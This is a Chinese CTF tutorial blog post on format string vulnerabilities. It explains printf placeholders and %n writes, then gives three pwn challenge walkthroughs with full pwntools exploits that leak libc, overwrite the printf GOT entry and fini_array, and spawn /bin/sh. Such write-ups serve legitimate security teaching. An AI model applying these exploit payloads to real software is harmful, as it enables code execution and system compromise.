格式化字符串漏洞原理及其利用(附带pwn例题讲解)

写在前面:

本篇博客为本人原创,但非首发,首发在先知社区
原文链接:

https://xz.aliyun.com/t/14253?time__1311=mqmx9QiQi%3D0%3DDQoDsNOfptD8nDCFdNNK4D&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F74789

各位师傅有兴趣的话也可以去先知社区个人主页逛逛(个人昵称:Shad0w_2023)。

写在前面:

格式化字符串漏洞在实际利用过程中现在几乎挖掘不到了,但是在CTF的pwn题中,由于其可以结合其他溢出漏洞利用,还是经常会遇到格式化字符串漏洞的。

一.什么是格式化字符串?

在我们初识C语言的时候,我们经常会使用到printf这之类的函数,printf函数的第一个参数就是一个格式化字符串,就是程序员可以使用占位符,指定格式,这些占位符用来替代后面的变量或者是数据。简单总结就是说,我们可以在一个字符串中,执行某个位置应该输出怎么样的数据,使用占位符代替,在输出的时候函数会自动按照我们指定的格式,寻找参数并以我们预想的形式输出。

格式化字符串的工作原理

那么在格式化字符串中,我们只是指定了输出格式,那函数会怎样确定用来替代这个占位符的数据呢?那么我们就来看看格式化字符串的工作原理:
我们先来写一段这样的程序:

int main() {char a[] = "aaaa";char b[] = "bbbb";char c[] = "cccc";char d[] = "dddd";printf("%s  %s  %s  %s", a, b, c);return 0;
}

可以明显看到,在printf函数中,我们使用了四个占位符,但是我故意将第四个占位符没有填充,那么程序的执行结果会是怎样的呢?
我们来看看程序执行结果:
format string1

可以看到程序还是输出了四个结果,那么第四个结果是哪里来的?我们来通过动态调试来一探究竟:
format string2

这里我将要执行的函数就是printf函数,我们来看看堆栈:
format string3

我们从堆栈中可以明显地看到,我们传给printf函数的参数,第一个是格式化字符串,而格式化字符串中,我们使用的第一个占位符,将会被格式化字符串后面的第一个参数替换,第二个同理,以此类推,所以我们就知道,用来替换第四个占位符的就是相对于格式化字符串的第四个参数了。

C语言中格式化字符串常用占位符

了解了格式化字符串的工作原理,在利用格式化字符串漏洞之前,我们还需要对占位符有着深刻的理解,我们就来回顾一下C语言格式化字符串中常用的占位符:

占位符含义
%d以十进制形式输出整数
%u以十进制形式输出无符号整数
%x以十六进制形式输出整数(小写字母)
%X以十六进制形式输出整数(大写字母)
%o以十进制形式输出整数
%f以浮点数形式输出实数
%e以指数形式输出实数
%g自动选择%f或者%e输出实数
%c输出单个字符
%s输出字符串
%p输出指针的地址
%n将已经输出的字符数写入参数

以上这些就是常用的占位符了,而在我们格式化字符串漏洞利用中,常用%p来泄露地址,使用%n来实现向指定地址写入数据(4字节),我们还通常会使用%hn(2字节),%hhn(1字节),%lln(8字节)进行写入。

补充知识

而在我们格式化字符串漏洞的利用中,我们通常还会用到正常开发很少用到的字符:数字+$的形式。
还记得我们前面写的那个程序吗?在那个格式化字符串中,我们没有用到数字+$,在这时候,程序遇到一个占位符,就按顺序向后寻找参数,但是我们可以使用数字+$的形式,直接指定参数相对于格式化字符串的偏移,我们来看看这个程序:

int main() {char a[] = "aaaa";char b[] = "bbbb";char c[] = "cccc";char d[] = "dddd";printf("%3$s  %2$s  %1$s", a, b, c);return 0;
} 

这样,当程序看到%3$s的时候,就不是直接找相对于格式化字符串的第一个参数了,而是去找相对于格式化字符串的第三个参数,这样的话,就会输出cccc,而整个程序输出cccc bbbb aaaa。

漏洞原理:

有了这些前置知识,我们就可以来了解格式化字符串漏洞的产生原理了。
我们来想想一个场景:作为程序员,我们要实现一个功能:我们需要实现一个登录功能,需要用户输入自己的用户名,然后输出Hello + 用户名,然后进行下一步操作,那么,有的程序员就会写出这样的代码:

int main() {char UserName[256]{ 0 };scanf("%s", UserName);printf(UserName);return 0;
}

那作为正常人来说,就会输入自己的用户名了,但是,如果别有用心的人呢?
大家试想一下,如果我们输入了%s,这时候,作为格式化字符串,它会输出哪里的内容?通过前面的学习我们可以知道会输出一个栈上保存的数据(相对于格式化字符串偏移为1)

  • 任意地址泄露:
    这时候,如果我们配合%数字$s,这时候是不是就会造成任意地址泄露?
  • 任意地址写:
    如果我们输入%数字c%数字$n呢?这时候我们就可以实现任意地址写了。

由此可见,格式化字符串漏洞的危害还是巨大的,相对于栈溢出和堆溢出,利用起来更加方便。

漏洞利用:

格式化字符串的漏洞利用,通常可以分为两种情况,这两种情况取决于我们输入的格式化字符串保存在哪里(栈上和非栈上)。

1.栈上的格式化字符串漏洞利用

其中利用较为简单的就是栈上的格式化字符串漏洞,因为格式化字符串保存在栈上,我们就可以很容易地去修改栈上的数据,完成劫持程序流程。

1.wdb_2018_2nd_easyfmt

题目来源:https://buuoj.cn/challenges#wdb_2018_2nd_easyfmt
附件链接:https://files.buuoj.cn/files/1750417bb3fc89d74ba81c7a08a8679c/wdb_2018_2nd_easyfmt

  1. 拿到题目,我们首先看到题目名称,首先确定这应该是格式化字符串漏洞的利用

  2. 然后我们来检查一下程序:
    wdb_2018_2nd_easyfmt
    32位程序,got表可写,没有栈溢出保护,有数据执行保护,没有PIE。

  3. 了解了基本情况之后,我们就来看看程序的基本逻辑
    使用IDA生成伪代码:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{char buf; // [esp+8h] [ebp-70h]unsigned int v4; // [esp+6Ch] [ebp-Ch]v4 = __readgsdword(0x14u);setbuf(stdin, 0);setbuf(stdout, 0);setbuf(stderr, 0);puts("Do you know repeater?");while ( 1 ){read(0, &buf, 0x64u);printf(&buf);putchar(10);}
}

可以看到这里就是我们上面将漏洞原理的时候提出的漏洞,而且可以无限次利用,非常简单,那么我们该如何利用?
既然got表可以写,那我们就可以将printf函数的地址复写位system的地址,然后使用read函数传入/bin/sh,这样,由于我们将printf函数的地址改写为了system函数地址,那么执行printf(“/bin/sh”)的时候,实际上执行的就是system("/bin/sh’)了。
但是我们不知道libc的基地址,那么这时候就需要我们首先泄露libc基地址,然后完成上述操作了。
这里给出exp:

from pwn import *
from LibcSearcher import *#context(os = 'linux',arch = 'i386',log_level = 'debug')
#io = process("./wdb_2018_2nd_easyfmt")
io = remote("node5.buuoj.cn",26953)
elf = ELF("./wdb_2018_2nd_easyfmt")
libc = ELF("/home/shad0w/桌面/pwn/libc/libc-2.23-32.so")puts_got = elf.got['puts']
printf_got = elf.got['printf']payload1 = p32(puts_got) + b'%6$s'
io.recvuntil("Do you know repeater?")io.sendline(payload1)
puts_addr = u32(io.recvuntil("\xf7")[-4:])
print("puts_addr:" + str(hex(puts_addr)))libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']system_low = system_addr & 0xffff
system_high = (system_addr >> 16) & 0xffff
print("system_low:" + str(hex(system_low)))
print("system_high:" + str(hex(system_high)))
payload = p32(printf_got) + p32(printf_got + 2)
payload += b'%' + bytes(str(system_low - 8), "utf-8")
payload += b'c%6$hn'
payload += b'%' + bytes(str(system_high-system_low), "utf-8")
payload += b'c%7$hn'io.send(payload)payload = b'/bin/sh'
io.sendline(payload)io.interactive()

我们来看看漏洞利用的部分,这里是使用了%hn的方式,也就是一次写入两个字节,写入了两次,一次写高两字节,一次写低两字节,那么前面的%多少c我们怎么确定呢?由于我们前面输入了system地址和system+2的地址,所以在第一次写入的时候要减去8,这样才是正确的system低两字节。

2.ciscn_2019_sw_1

题目来源:https://buuoj.cn/challenges#ciscn_2019_sw_9
附件链接:https://files.buuoj.cn/files/9974d878fc44f97d36a5ab42729d9b42/ciscn_2019_sw_1

  1. 拿到题目,首先检查基本信息:
    ciscn_2019_sw_1_1
    32位应用程序,没有栈溢出保护,没有PIE,只有数据执行保护。
  2. 知道了基本信息,就去看看程序逻辑:
    ciscn_2019_sw_1_2
    这个程序逻辑看起来也是非常简单,但是这里好像只能使用一次。
    而且发现了一个调用了system的函数,这就意味着我们不用泄露libc基址了。
    ciscn_2019_sw_1_3

那么我们该如何利用该漏洞?
这时候就要考察大家对底层的了解了,程序在调用main函数之前,实际上会调用fini_array里面的函数,直到函数调用完成才会执行main函数,在main函数调用完后,还会调用fini_array里面的函数,这里给出一张流程图:
Linux程序执行流程
我们在调试程序的时候,不难发现,main函数也是有返回地址的,这个返回地址在__linc_sttart_main,也就是说,我们的main函数也是被其他函数调用过来的。
从图中也可以看到,在main函数被调用之前,还会调用__libc_csu_init,init_array中的函数,在main函数调用完成后,会调用fini_array数组中的每一个函数指针。
我们知道了在mian函数执行完毕之后还会执行其他代码,那我们在这些代码中可不可以做点手脚,让其又返回main函数?这样我们就有更多的利用机会了。
这里给出一种攻击方法:既然main函数完成之后会调用fini_array数组中的函数指针,那我们可以将这里的函数指针改为main函数,这样就会又返回main函数执行第二次了。
这里既然我们有了利用思路,那就非常容易了,我们在第一次执行main函数的时候,将fini_array[0]修改为main函数地址,并且将printf函数覆写为system函数的地址,第二次执行main函数的时候,直接输入/bin/sh就可以成功利用漏洞。

具体利用过程:
  1. 首先,我们通过gdb调试得到格式化字符串距离printf参数的距离:
    ciscn_2019_sw_1_4
    可以看到,我们输入的字符串保存地址距离printf格式化字符串距离为4。
  2. 然后我们找到printf的got表地址和fini_array数组的地址,找到system函数地址(这个过程可以自己手动找,也可以使用pwntools写脚本找到)
    ciscn_2019_sw_1_5
  3. 我们在第一次进入main函数的时候,利用格式化字符串漏洞,将fini_array[0]改写为main地址,将printf函数got表项地址写为system的plt地址,注意这里一定是plt表中的地址,因为system函数没有被使用过,即还没有进行绑定:
payload = p32(fini_array_addr + 2) + p32(printf_got + 2)
payload += p32(printf_got) + p32(fini_array_addr)
payload += b'%' + bytes(str(main_high - 0x10),"utf_8") + b'c%4$hn'
payload += b'%5$hn'
payload += b'%' + bytes(str(system_low - main_high),"utf-8") + b'c%6$hn'
payload += b'%' + bytes(str(main_low - system_low),"utf-8") + b'c%7$hn'
payload += b'\x00'io.sendlineafter("Welcome to my ctf! What's your name?",payload)

这时候,程序执行完main函数,进入fini_array寻找函数指针的时候,就会再次执行main函数

  1. 在第二次进入main函数的时候,我们输入‘/bin/sh’,然后程序就会执行system(”/bin/sh“)。

这里给出完成的exp:

from pwn import *context(os = 'linux',arch = 'i386',log_level = 'debug')
#io = process("./ciscn_2019_sw_1")
io = remote("node5.buuoj.cn",28467)
elf = ELF("./ciscn_2019_sw_1")printf_got = elf.got['printf']
system_plt = elf.plt['system']
fini_array_addr  = 0x0804979C
main_addr = 0x08048534system_high = (system_plt >> 16) & 0xffff
system_low = system_plt & 0xffff
main_high = (main_addr >> 16) & 0xffff
main_low = main_addr & 0xffffprint("system_high:" + str(hex(system_high)))
print("system_low:" + str(hex(system_low)))
print("main_high:" + hex(main_high))
print("main_low:" + hex(main_low))'''
system_high:0x804
system_low:0x83d0
main_high:0x804
main_low:0x8534
'''payload = p32(fini_array_addr + 2) + p32(printf_got + 2)
payload += p32(printf_got) + p32(fini_array_addr)
payload += b'%' + bytes(str(main_high - 0x10),"utf_8") + b'c%4$hn'
payload += b'%5$hn'
payload += b'%' + bytes(str(system_low - main_high),"utf-8") + b'c%6$hn'
payload += b'%' + bytes(str(main_low - system_low),"utf-8") + b'c%7$hn'
payload += b'\x00'io.sendlineafter("Welcome to my ctf! What's your name?",payload)payload1 = b'/bin/sh'
io.sendlineafter("Welcome to my ctf! What's your name?",payload1)io.interactive()

2.非栈上的格式化字符串漏洞利用

为什么叫做非栈上的格式化字符串,是因为我们输入的buffer,不存在栈上,回想一下我们的栈上的格式化字符串漏洞利用,我们将我们要改写的地址写到栈上,这样格式化字符串就可以直接找到这个地址,从而进行修改,但是我们的输入buffer不存在于栈上,这时候我们输入的地址,格式化字符串就无法找到这个地址了,我们就很难做到任意地址写了,那么非栈上的格式化字符串漏洞我们该如何利用呢?
其实我们可以通过漏洞,修改函数返回地址,然后精心构造ROP链,就可以完成攻击,这里不再介绍,我们这里来介绍两种复写函数地址的方法,也是大家在网上通常看到的方法。

<1>四马分肥

由于我们通常是利用格式化字符串漏洞将printf_got表地址写为system函数地址,那我这里就以这两个地址为例。
我们要将printf_got的地址放到栈上,但是这时候我们的格式化字符串不存在于栈上,那我们的地址就不能通过我们写的时候传进去,我们需要利用漏洞,将栈上原来存在的地址,修改为printf_got地址,这样我们再次利用格式化字符串漏洞,就可以将printf_got修改为system函数的地址。那这里为什么又要叫四马分肥呢?因为我们printf_got地址通常情况下比较大,我们分别在栈上找四个地址,然后将其修改为printf_got,printf_got+2,printf_got+4,printf_got+6,然后我们每次只写入两个字节,这样我们就可以正常覆写数据了。
在这里在栈上寻找怎样的地址修改为printf_got的地址呢?其实这里也是有技巧的,我们通常会找那些与printf_got高位相同的地址。

<2>诸葛连弩

我们还是以将printf_got表地址改写为system函数地址为例:
上面介绍的四马分肥的方法,需要我们在栈上找出四个地址分别写入printf_got表的地址,然后再一个一个去改,而 诸葛连弩这个方法使用了更巧妙的方法,我们就来看看这个方法。
我们在程序的栈上很容易找到这样的一段:
诸葛连弩_1

这样我们就可以使用诸葛连弩了,我们使用格式化字符串漏洞,将offset_2改为offset_3,这样的话我们就可以实现一段四个链的地址了,像这样:
诸葛连弩_2
我们以64位应用程序为例,我们就可以使用格式化字符串漏洞,使用sssssssssssssss% 9$n,将offset_3处修改为printf_got地址,然后我们使用%12$n,也就是使用offset_1处,将printf_got地址修改为system函数的地址。
总结一下,这里为什么叫诸葛连弩呢?就是因为我们构造了一支“箭”,然后我们通过多次在这支箭上发力,最后形成任意地址写,所以就想诸葛连弩一样。

非栈上格式化字符串漏洞例题讲解

题目来源:https://buuoj.cn/challenges#SWPUCTF_2019_login
附件链接:https://files.buuoj.cn/files/03b0cf41e8c34d9b029251d64df4bf92/SWPUCTF_2019_login

  1. 拿到题目,还是常规做法,先检查一下基本信息:
    SWPUCTF_2019_login_1
    32位应用程序,开了个数据执行保护,got表可写
  2. 然后我们来看看程序基本逻辑
    main函数:
int __cdecl main()
{setbuf(stdin, 0);setbuf(stdout, 0);setbuf(stderr, 0);puts("Please input your name: ");read(0, &fmt, 0xCu);puts("Base maybe not easy......");return sub_80485E3();
}

可以看到这里让我们输入,然后调用了sub_80485E3函数。
sub_80485E3函数:

int sub_80485E3()
{printf("hello, %s", &fmt);return sub_804854B();
}

这个函数printf出我们在main函数中输入的内容,并且注意到我们输入的buffer不在栈上。然后调用sub_804854B函数。
sub_804854B函数:

int sub_804854B()
{puts("Please input your password: ");while ( 1 ){s1[read(0, s1, 0x32u)] = 0;if ( !strncmp(s1, "wllmmllw", 8u) )break;printf("This is the wrong password: ");printf(s1);puts("Try again!");}return puts("Login successfully! Have fun!");
}

该函数通过一个while循环,让我们read到s1,然后与wllmmllw对比,如果比对不成功,就会调用printf输出我们的参数。

  • 利用思路
    我们先使用四马分肥的方法,在栈上寻找与printf_got表低一字节或者两字节不同的地址,然后将其分别改为printf_got,printf_got+2然后将printf_got改为system函数地址,由于我们不知道system函数地址,所以我们第一次还需要泄露libc基址。
#泄漏libc基址
payload = b'%43$p'
io.sendline(payload)
io.recvuntil("This is the wrong password: 0x")
libc_start_main = int(io.recv(8),16) - 147
#libc = LibcSearcher("__libc_start_main",libc_start_main)
print("libc_start_main:" + hex(libc_start_main))
print(hex(libc.symbols['__libc_start_main']))
libc_base = libc_start_main - libc.symbols['__libc_start_main']
print("libc_base:",hex(libc_base))

这一很多时候偏移不一样是因为libc版本不同,大家自行根据自己的libc版本进行调试。

  • 接下来就要利用格式化字符串漏洞,将printf_got表项地址改写为system函数的地址,我偶们回想一下四马分肥的过程,我们需要至少两个,与printf_got表项很相似的地址,这样我们利用起来才方便,但是这里没有相似的地址,观察一下栈中,有一段这样的地址链:0xffffd778 -> 0xffffd788 -> 0xffffd798 …,而且在这条链的第二个节点上我们也可以在栈中控制,诸葛连弩的基本条件已经满足了,我们这里就来演示一下诸葛连弩:
    SWPUCTF_2019_login_ 2
    我们可以看到,offset_0 = 0xffffd778,offset_1 = 0xffffd788,offset_2 = 0xffffd798
    这里给出这样链表:
    0xffffd778 -> 0xffffd788 -> 0xffffd798(分别为6$,10$,14$)
    那么我们就可以使用6$构造格式化字符串,修改0xffffde788处保存的值,分别修改为0xffffd798,0xffffd798+1,0xffffd798+2,0xffffd798+3,这样我们就可以一个字节一个字节修改0xffffd798处保存的是,将其修改为printf_got表项的值,然后我们使用14$,就可以修改printf_got表项的值了。
    修改offset_3为printf_got表项的部分:
#printf_got:0x804b014
num = printf_got & 0xff
print("--------------send bytes:" + hex(num))
payload_3 = b'%' + bytes(str(num),"utf-8") + b'c%10$hhn'
io.sendlineafter("Try again!\n",payload_3)addr = (stack_addr & 0xff) + 1
payload_4 = b'%' + bytes(str(addr),"utf-8") + b'c%6$hhn'
print("--------------addr bytes:" + hex(addr))
io.sendlineafter("Try again!\n",payload_4)
num = (printf_got >> 8) & 0xff
print("--------------send bytes:" + hex(num))
payload_5 = b'%' + bytes(str(num),"utf-8") + b'c%10$hhn'
io.sendlineafter("Try again!\n",payload_5)addr = (stack_addr & 0xff) + 2
payload_6 = b'%' + bytes(str(addr),"utf_8") + b'c%6$hhn'
print("--------------addr bytes:" + hex(addr))
io.sendlineafter("Try again!\n",payload_6)
num = (printf_got >> 16) & 0xff
print("--------------send bytes:" + hex(num))
payload_7 = b'%' + bytes(str(num),"utf_8") + b'c%10$hhn'
io.sendlineafter("Try again!\n",payload_7)addr = (stack_addr & 0xff) +3
payload_8 = b'%' + bytes(str(addr),"utf-8") + b'c%6$hhn'
print("--------------addr bytes:" + hex(addr))
io.sendlineafter("Try again!\n",payload_8)
num = (printf_got >> 24) & 0xff
print("--------------send bytes:" + hex(num))
payload_9 = b'%' + bytes(str(num),"utf-8") + b'c%10$hhn'
io.sendlineafter("Try again!\n",payload_9)

再来看看修改后的效果:
SWPUCTF_2019_login_ 3
这时候,我们就可以直接使用14$去修改printf_got表项的地址了,但是注意这里要一次性修改掉,不然第二次调用printf函数的时候,由于我们已经修改了部分字节,导致程序找不到printf函数,然后发现,这时候我们要写很多字节,这太大了,那我们只能再重复上述操作,将15$写为printf_got表项地址+1或者+2,方便我们后续修改:

addr = (stack_addr & 0xff) + 4
payload_10 = b'%' + bytes(str(addr),"utf-8") + b'c%6$hhn'
print("--------------addr bytes:" + hex(addr))
io.sendlineafter("Try again!\n",payload_10)
num = (printf_got & 0xff) + 1
print("--------------send bytes:" + hex(num))
payload_11 = b'%' + bytes(str(num),"utf-8") + b'c%10$hhn'
io.sendlineafter("Try again!\n",payload_11)
pause()addr = (stack_addr & 0xff) + 5
payload_12 = b'%' + bytes(str(addr),"utf-8") + b'c%6$hhn'
print("--------------addr bytes:" + hex(addr))
io.sendlineafter("Try again!\n",payload_12)
num = (printf_got >> 8) & 0xff
print("--------------send bytes:" + hex(num))
payload_13 = b'%' + bytes(str(num),"utf-8") + b'c%10$hhn'
io.sendlineafter("Try again!\n",payload_13)
pause()addr = (stack_addr & 0xff) + 6
payload_14 = b'%' + bytes(str(addr),"utf_8") + b'c%6$hhn'
print("--------------addr bytes:" + hex(addr))
io.sendlineafter("Try again!\n",payload_14)
num = (printf_got >> 16) & 0xff
print("--------------send bytes:" + hex(num))
payload_15 = b'%' + bytes(str(num),"utf_8") + b'c%10$hhn'
io.sendlineafter("Try again!\n",payload_15)
pause()addr = (stack_addr & 0xff) +7
payload_16 = b'%' + bytes(str(addr),"utf-8") + b'c%6$hhn'
print("--------------addr bytes:" + hex(addr))
io.sendlineafter("Try again!\n",payload_16)
num = (printf_got >> 24) & 0xff
print("--------------send bytes:" + hex(num))
payload_17 = b'%' + bytes(str(num),"utf-8") + b'c%10$hhn'
io.sendlineafter("Try again!\n",payload_17)

我们来看看修改后的效果:
SWPUCTF_2019_login_ 4
好,现在我们就可以一次性将printf_got表项地址修改为system函数地址了:

print("system_addr:" + hex(system_addr))
system_low_bytes = system_addr & 0xff
system_high_word = (system_addr >> 8) & 0xffff
print("system_low_bytes" + hex(system_low_bytes))
print("system_high_word" + hex(system_high_word))
payload = b'%' + bytes(str(system_low_bytes),"utf-8") + b'c%14$hhn'
payload += b'%' + bytes(str(system_high_word - system_low_bytes),"utf-8") + b'c%15$hn'
io.sendlineafter("Try again!\n",payload)

最后也是成功拿到了shell:
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/802471.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JQuery(三)---【使用JQuery动态设置浏览器窗口尺寸、JQuery的遍历】

零.前言 JQuery(一)---【JQuery简介、安装、初步使用、各种事件】-CSDN博客 JQuery(二)---【使用JQuery对HTML、CSS进行操作】-CSDN博客 一.JQuery动态设置浏览器窗口尺寸大小 1.1width()和height()方法 width()&#xff1a;设置或者返回元素的宽度(不包括内边距、边框或外…

React - 你知道在React组件的哪个阶段发送Ajax最合适吗

难度级别:中级及以上 提问概率:65% 如果求职者被问到了这个问题,那么只是单纯的回答在哪个阶段发送Ajax请求恐怕是不够全面的。最好是先详细描述React组件都有哪些生命周期,最后再回过头来点题作答,为什么应该在这个阶段发送Ajax请求。那…

智慧校园预付费水电表控制系统

在智慧校园建设中&#xff0c;预付费水电表控制系统成为了不可或缺的一部分&#xff0c;它采用了先进的信息技术手段确保校园水电资源的高效管理和使用。这种系统通过智能化、信息化的手段&#xff0c;不仅优化了能源管理&#xff0c;还大幅提升了校园管理的现代化水平。本文将…

FPGA(Verilog)实现uart传输协议传输数据(含仿真)

目录 实现功能&#xff1a; 1.接收uart串行数据&#xff0c;输出并行数据(1byte)。 2.输入并行数据(1byte)&#xff0c;输出uart串行数据。 3.完成uart传输的1次环回。 uart协议的1帧数据传输 模块封装-port设置 Verilog代码实现 1.uart接收模块:接收串行数据,输出并行数…

开源区块链系统/技术 总结(欢迎补充,最新)

1. FISCO BCOS FISCO BCOS 2.0 技术文档 — FISCO BCOS 2.0 v2.9.0 文档https://fisco-bcos-documentation.readthedocs.io/ 2. ChainMaker&#xff08;长安链&#xff09; 文档导航 — chainmaker-docs v2.3.2 documentationhttps://docs.chainmaker.org.cn/v2.3.2/html/in…

Java事件处理机制

一、介绍 java事件处理是采取“委派事件模型”。当事件发生时&#xff0c;产生事件的对象&#xff0c;会把此“信息”传递给"事件的监听者"处理&#xff0c;这里所说的"信息"实际上就是java.awt.event事件类库里某个类所创建的对象&#xff0c;把它称为&q…

以XX大学学生公寓为例的安科瑞远程抄表与配电能效系统解决方案【AcrelEMS-EDU校园综合能效管理】

建设背景 随着我国经济的高速发展&#xff0c;建筑能耗特别是国家机关办公建筑和大型公共建筑高耗能的问题日益突出。学校作为大型公共机构建筑的重要组成部分之一&#xff0c;其特点是占地面积大、建筑分布广、数量多、类型多样、用能情况复杂&#xff1b; 高校用能普遍问题…

【linux】拓展知识-linux图形界面(GUI 程序)、X11介绍

linux图形界面 Linux 本身是没有图形化界面的&#xff0c;linux只是一个基于命令行的操作系统&#xff0c;所谓的图形化界面系统只不过中 Linux 下的应用程序。没有图形界面linux还是linux&#xff0c;很多装linux的WEB服务器就根本不装X服务器。 这一点和 Windows 不一样。W…

Linux C柔性数组(零长数组)

零长数组&#xff0c;大小为0&#xff0c;一般用在结构体中&#xff08;网络通信&#xff0c;省流&#xff09;&#xff0c;节省空间&#xff0c;方便善后&#xff08;相对于指针类型&#xff09;&#xff0c;我们通过具体例子进行理解。 常规定长数组 #include <stdio.h&…

【机器学习】深入解析机器学习基础

在本篇深入探讨中&#xff0c;我们将揭开机器学习背后的基础原理&#xff0c;这不仅包括其数学框架&#xff0c;更涵盖了从实际应用到理论探索的全方位视角。机器学习作为数据科学的重要分支&#xff0c;其力量来源于算法的能力&#xff0c;这些算法能够从数据中学习并做出预测…

CentOS下部署ftp服务

要在linux部署ftp服务首先需要安装vsftpd服务 yum install vsftpd -y 安装完成后需要启动vsftpd服务 systemctl start vsftpd 为了能够访问ftp的端口&#xff0c;需要在防火墙中开启ftp的端口21&#xff0c;否则在使用ftp连接的时候会报错No route to host. 执行如下命令为f…

纯纯python实现梯度下降、随机梯度下降

最近面试有要求手撕SGD&#xff0c;这里顺便就把梯度下降、随机梯度下降、批次梯度下降给写出来了 有几个注意点&#xff1a; 1.求梯度时注意label[i]和pred[i]不要搞反&#xff0c;否则会导致模型发散 2.如果跑了几千个epoch&#xff0c;还是没有收敛&#xff0c;可能是学习率…

基于逻辑回归和支持向量机的前馈网络进行乳腺癌组织病理学图像分类

CNN&#xff08;卷积神经网络&#xff09;通过使用反向传播方法来学习特征&#xff0c;这种方法需要大量的训练数据&#xff0c;并且存在梯度消失问题&#xff0c;从而恶化了特征学习。 CNN卷积神经网络 CNN由一个多层神经网络组成&#xff0c;该网络从标记的训练数据集中学习…

HarmonyOS实战开发-使用OpenGL实现2D图形绘制和动画。

介绍 基于XComponent组件调用Native API来创建EGL/GLES环境&#xff0c;从而使用标准OpenGL ES进行图形渲染。本项目实现了两个示例&#xff1a; 使用OpenGL实现2D的图形绘制和动画&#xff1b;使用OpenGL实现了在主页面绘制两个立方体&#xff0c;光源可以在当前场景中移动&…

从高频到低频:全面解析压控振荡器结构与应用场景

压控振荡器&#xff08;简称VCO&#xff09;是一种电子电路&#xff0c;其特点是输出的振荡频率能够随着输入电压的变化而连续改变。在VCO中&#xff0c;通过调控输入端的电压信号&#xff0c;可以相应地改变内部谐振电路的参数&#xff08;如电感、电容或者变容二极管的电容值…

【智能算法】人工电场算法(AEFA)原理及实现

目录 1.背景2.算法原理2.1算法思想2.2算法过程 3.结果展示4.参考文献 1.背景 2019年&#xff0c;A Yadav等人受库伦定律和运动定律启发&#xff0c;提出了人工电场算法&#xff08;Artificial Electric Field Algorithm&#xff0c;AEFA&#xff09;。 2.算法原理 2.1算法思…

【Spring Cloud】服务容错中间件Sentinel入门

文章目录 什么是 SentinelSentinel 具有以下特征&#xff1a;Sentinel分为两个部分: 安装 Sentinel 控制台下载jar包&#xff0c;解压到文件夹启动控制台访问了解控制台的使用原理 微服务集成 Sentinel添加依赖增加配置测试用例编写启动程序 实现接口限流总结 欢迎来到阿Q社区 …

HTML转EXE工具(HTML App Build)永久免费版:24.4.9.0

最新版本的HTML2EXE即将发布了。自从去年发布了HTML2EXE之后&#xff0c;我就正式上班了&#xff0c;一直忙于工作&#xff0c;实在没有时间更新&#xff08;上班时间不能做&#xff09;&#xff0c;很多网友下载使用&#xff0c;反应很好&#xff0c;提出了一些改进的建议&…

感知定位篇之机器人感知定位元件概述(上)

欢迎关注微信公众号 “四足机器人研习社”&#xff0c;本公众号的文章和资料和四足机器人相关&#xff0c;包括行业的经典教材、行业资料手册&#xff0c;同时会涉及到职业知识学习及思考、行业发展、学习方法等一些方面的文章。 目录 |0.概述 |1.常用传感元件 1.1视觉传感器…

750万人受影响,印度电子巨头boAt重大数据泄露事件

近日&#xff0c;印度消费电子巨头boAt遭遇重大数据泄露事件&#xff0c;超过750万客户的个人数据遭到泄露&#xff0c;泄露的个人数据包括姓名、地址、联系电话、电子邮件 ID 和客户 ID 以及其他敏感信息&#xff0c;目前这些泄露数据正在暗网上流传。 boAt Lifestyle数据库被…